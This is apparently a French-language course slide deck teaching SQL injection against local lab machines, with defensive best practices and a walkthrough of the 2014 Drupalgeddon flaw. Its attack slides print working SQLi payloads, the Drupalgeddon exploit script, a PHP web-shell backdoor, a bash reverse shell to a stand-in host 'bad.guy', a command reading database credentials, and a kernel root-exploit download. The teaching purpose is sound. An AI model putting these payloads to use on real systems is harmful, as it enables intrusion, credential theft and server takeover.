# SQLi

## Aka injections SQL


## Disclaimer
*Cette présentation explique comment fonctionne l'exploiter 
des services vulnérables aux injections SQL.*

*Toutes les attaques sont réalisées sur des VMs en local.*

*Il est vivement déconseillé de reproduire ces attaques 
sur une cible distante, sans la permission explicite (c'est à dire écrite et signée)
de l'administrateur de cette cible!*

*Selon la cible: **Vous risquez gros**!*


## monsite.com

Utilisateur: <input type="text" name="username" value="mazenovi"><br />
Mot de passe: <input id="password" type="password" name="password" value="123admin"><br />
<input type="submit" value="s'authentifier">

### Que se passe-t-il quand on appuie sur le bouton?<!-- .element class="fragment roll-in" -->


## basiquement ...

![SQLi](images/sidoine/SQLi-1.png "SQLi")

### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" -->

Note:
- Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur
  - en clair
- Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données
  - dont le mot de passe
- Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
  - égalité = utilisateur authentifié
  - différence = utilisateur ou mot de passe invalide


## http = carte postale

![SQLi](images/sidoine/SQLi-2-http.png "SQLi")


## https = enveloppe cachetée

![SQLi](images/sidoine/SQLi-2-https.png "SQLi")

Note:
- Lors de la transmission du mot de passe => utiliser https
  - il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/


## ???

![SQLi](images/sidoine/SQLi-db-clear-question.png "SQLi")

Note:
- Lors du stockage du mot de passe
  - Pourquoi? 
    - Le mot de passe n'est jamais affiché et voilà


## sqli

![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")

Note:
- Lors du stockage du mot de passe
  - Pourquoi? 
    - Le mot de passe n'est jamais affiché et voilà


## SQLi

* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) 
    * depuis plusieurs années
    * concerne tous les interpréteurs
    * concerne tous les langages
* permet de
    * lire des données protégées
    * corrompre des données
    * dénis de services
    * lecture / écriture sur le système de fichiers
    * exécution de commandes arbitraires


## SQLi

```
http://dv.wa/vulnerabilities/sqli/
```

Tout commence par un message d'erreur anodin si on saisit les caractère `'` au lieu de l'entier attendu

```
You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version 
for the right syntax to use near ''''' at line 1
```

### intéressant!?<!-- .element class="fragment roll-in" -->


```
$id = $_GET['id'];
$getid = "SELECT first_name, last_name 
          FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(mysql_error());
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
    $first = mysql_result($result,$i,"first_name");
    $last = mysql_result($result,$i,"last_name"); 
    echo '<pre>';
    echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
    echo '</pre>';
    $i++;
} 
```
le serveur exécute donc la requête
```
SELECT first_name, last_name FROM users WHERE user_id = '''
```
et renvoie une erreur! chaîne de caractère non terminée ...


## SQLi / détournement

en suivant la logique 

```
SELECT first_name, last_name 
FROM users WHERE user_id = '' OR 1=1
```

devrait afficher la liste de tous les utilisateurs ...

essayons de saisir la valeur `' OR 1=1` au lieu de l'entier attendu

#### toujours la même erreur!<!-- .element class="fragment roll-in" -->
### Pourquoi?<!-- .element class="fragment roll-in" -->


## SQLi / détournement

la requête exécutée est en fait

```
SELECT first_name, last_name 
FROM users WHERE user_id = '' OR 1=1'
```

elle présente encore une erreur de chaîne de caractère non terminée!

### Comment faire?<!-- .element class="fragment roll-in" -->

#### essayons avec le symbole de commentaire en ligne #<!-- .element class="fragment roll-in" -->


## SQLi / détournement

on saisit maintenant la valeur `' OR 1=1#` au lieu de l'entier attendu

## Ca marche :D<!-- .element class="fragment roll-in" -->


## SQLi / détournement

Notez qu'on peut travailler directement sur l'url (industrialisation)

```
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
```

soit en version encodée

```
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
```

#### peut on atteindre les mots de passe?<!-- .element class="fragment roll-in" --> 
#### probablement dans la même table ...<!-- .element class="fragment roll-in" -->
#### mais comment? on a pas la main sur la clause SELECT de la requête ...<!-- .element class="fragment roll-in" -->


## Say hello to UNION!

```
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
```

![Union](images/sidoine/sql-union.png "Union")

### Les clauses select doivent avoir le même nombre de champs!?<!-- .element class="fragment roll-in" -->


## comment deviner le nombre de champs d'une requête SQL?


## jouer avec order BY

```
' OR 1=1 ORDER BY 2#
```

* si l'index correspond à un champs de la clause SELECT
    * la requête s'exécute
* si l'index ne correspond pas à un champs de la clause SELECT
    * la requête échoue


## Affichage des mots de passe

```
' AND 1=0 UNION SELECT user, password FROM users#
```

Les mots de passe sont hashés<!-- .element class="fragment roll-in" -->

* SHA256(passeenclair) <!-- .element class="fragment roll-in" -->
  * 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4<!-- .element class="fragment roll-in" -->
* SHA256(admin) <!-- .element class="fragment roll-in" -->
  * 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918<!-- .element class="fragment roll-in" -->
* MD5(passeenclair) (cassé!)<!-- .element class="fragment roll-in" -->
  * 5452409edd9626898129c983ec443748<!-- .element class="fragment roll-in" -->


## sqli

![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")

Note:
- Mot de passe hashé


## Rainbow tables

### [https://crackstation.net/](https://crackstation.net/)

* Hashs précalculés de mots de passe *communs*

* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 
  * sha256 - admin

* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
  * ????


## <i class="fa fa-medkit"></i> Bonnes pratiques

* stocker les mots de passe hashés<!-- .element class="fragment roll-in" -->

    * <!-- .element class="fragment roll-in" -->[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)

* valider la robustesse des mots de passe utilisateur<!-- .element class="fragment roll-in" -->
    * minuscule + majuscule + spécial + numériques<!-- .element class="fragment roll-in" -->
    * longueur minimum (passphrase)<!-- .element class="fragment roll-in" -->

* ajouter un sel<!-- .element class="fragment roll-in" -->
    * SHA256(admin+selsupercompliqué)<!-- .element class="fragment roll-in" -->


## <i class="fa fa-medkit"></i> Bonnes pratiques

* filtrer par TOUTES les entrées par listes blanches
  * caster
    * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ...
      * si l'id est toujours un entier ...
  * échappement des paramètres de requêtes
    * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)


## <i class="fa fa-medkit"></i> Bonnes pratiques

* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées
  * PDO, ORM : Doctrine2, Propel
* Être le plus silencieux possibles quant aux requêtes invalides
  * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
  * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* repérer les requêtes suspectes dans les logs


## <i class="fa fa-medkit"></i> Bonnes pratiques

* Web Application Firewall (WAF)
    * [mod_security](https://www.modsecurity.org/)
      * log le POST
    * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens
  * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
  * attention aux permissions sur la base de données
    * information_schema ...
* Changer les préfixes de table des CMS quand c'est possible


## SQLi de la vraie vie (2014)

* les SQLi n'apparaissent pas (plus) de manière aussi grossière

* Voici une vraie faille du CMS drupal  ...


## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->


## La faille

* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
  * Version: 7.x < 7.32
  * Date: 2014-October-15
  * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)

#### exploitable à partir du formulaire d'authentification!<!-- .element class="fragment roll-in" -->
### sans aucun privilège!<!-- .element class="fragment roll-in" -->


## Trouver un système vulnérable sur le www

[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)

[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)


## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)

* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques


## Timeline côté attaquant

* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…


## La faille

[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738

```php
foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  foreach ($data as $i => $value) {   
    $new_keys[$key . '_' . $i] = $value
  }
}
```

* $i est un index de tableau de variables HTTP
* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
  * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP


## Le patch

[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738

```php
foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  /* patched version begin */
  foreach (array_values($data) as $i => $value) {
  /* patched version end */
    $new_keys[$key . '_' . $i] = $value
  }
}
```

* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de façon numérique

Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
  - code drupal compliqué ou mal fait


## Exploitation manuelle

remplacer

```html
<input id="edit-name" name="name" type="text">
```

par

```html
<input name="name[0; DELETE FROM flood;;#  ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
```

![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->

Note:
- mettre un mot de passe


## Exploit

[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)

```php
$url = $argv[1];
$sql = $argv[2];
$sql =   str_replace('{', '\' , CHAR(123), \'', $sql);
$sql =   str_replace('}', '\' , CHAR(125), \'', $sql);
$sql =   str_replace('[', '\' , CHAR(91), \'', $sql);
$sql =   str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);

//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
    'http' => array(
    'method' => 'POST',
    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
    'content' => $post_data
  )
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
```

```shell
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```


## Backdoor

rerésente 68% des attaques

Simple backdoor shell

```php
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
  echo "<pre>";
  passthru($_REQUEST["cmd"]);
  die;
}
phpinfo();';
```

* [passthru()](http://php.net/manual/fr/function.passthru.php)


## Backdoor

* Architecture Drupal
  * menu_router
    * un url = un callback + un tableau d'arguments sérialisés

```sql
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
```

Payload

```php
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
```

[http://drup.al/backdoor](http://drup.al/backdoor)

Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
  - automatisable à souhait


## exploitation

```shell
$ php attack/exploit.php 'http://drup.al'
```

* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
  * affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
  * affiche les paramètres SQL


## exploitation

```shell
nc -lvvp 1337
```

met le poste de l'attaquant en écoute sur le port 1337

```http
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
```

en version encodée

```http
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```

* connecte le serveur sur l'IP de l'attaquant

Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
  - analyse des ping wireshark
  - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
    - sur ma maquette ca marche aussi sur le port 80 ...


## escalade de privilèges

* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
  * environ tous les 2 ans
    * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
  * fonctionne sur les archi 64bits uniquement
  * kernel de 2.6.37 à 3.8.10

```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
```


## W00T

![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->


## <i class="fa fa-medkit"></i> Bonnes pratiques

* un malheur n'arrive jamais seul
  * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
* tout doit être à jour
  * système, lib, cms, services, ...
* mieux vaut s'appuyer sur des communautés
  * réactives
  * préoccupées par la sécurité
* bien suivre les mises à jour des produits
  * et patcher asap quand nécessaire